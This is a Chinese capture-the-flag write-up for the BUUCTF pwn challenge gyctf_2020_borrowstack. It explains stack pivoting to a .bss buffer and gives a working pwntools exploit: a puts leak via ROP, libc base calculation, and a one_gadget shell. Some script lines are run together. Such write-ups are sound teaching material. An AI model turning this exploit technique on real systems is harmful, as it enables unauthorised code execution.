当前位置: 首页 > news >正文

BUUCTF--gyctf_2020_borrowstack1

这是一题栈迁移的题目,先看看保护:



黑盒测试:


用户可输入两次内容,接着看看IDA中具体程序流程:


我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢,肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。我们先看看最初栈的布局:

此时rip指向leave:


栈的内容:


leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令。

因此我们的思路明确了,需要覆盖掉old_rbp(图中手误大家理解就行)和返回地址。

old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。

问:(为何栈迁移需要两次调用leave?)

答:第一次调用是控制rbp到达想去的地方,第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了(不明白可以好好理解leave指令干的两件事)


因此我们的exp就能这样写了:

from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703  # ROPgadget --binary gyctf_2020_borrowstack  --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave)    #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)     #leak puts_addr  
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()

下面我们看下步骤好的栈布局:


bss段上的内容:


此时劫持完rsp后效果是这样的:


接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。

后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。

puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下:


http://www.lryc.cn/news/273816.html

相关文章:

  • 图像分割-Grabcut法(C#)
  • C# WPF上位机开发(Web API联调)
  • c语言:用结构体求平均分|练习题
  • echarts 仪表盘进度条 相关配置
  • Simpy:Python之离散时间序列仿真
  • 连接GaussDB(DWS)报错:Invalid or unsupported by client SCRAM mechanisms
  • 汽车标定技术(十四)--标定数据固化方法简介
  • 2024年关键技术发展战略趋势前瞻
  • Java程序设计——GUI设计
  • three.js Raycaster(鼠标点击选中模型)
  • Springboot整合RocketMQ 基本消息处理
  • 红外传感器深入解析
  • 18、Kubernetes核心技术 - InitContainer(初始化容器)
  • electron进程通信之预加载脚本和渲染进程对主进程通信
  • 如何有效使用 .gitignore 文件
  • 大数据毕设分享 flink大数据淘宝用户行为数据实时分析与可视化
  • 大语言模型训练数据集
  • python的课后练习总结4(while循环)
  • Flink Connector 开发
  • Golang leetcode707 设计链表 (链表大成)
  • Django和Vue项目运行过程中遇到的问题及解决办法
  • Single-Image Crowd Counting via Multi-Column Convolutional Neural Network
  • el-cascader隐藏某一级的勾选框及vue报错Error in callback for watcher “options“的解决办法
  • 2024美赛数学建模思路A题B题C题D题E题F题思路汇总 选题分析
  • C++ 常用设计模式
  • 高性价比的高速吹风机/高速风筒解决方案,基于普冉单片机开发
  • toRefs的用法
  • MySQL基础篇(三)约束
  • Java进阶 1-2 枚举
  • 一个人最大的内驱力是什么?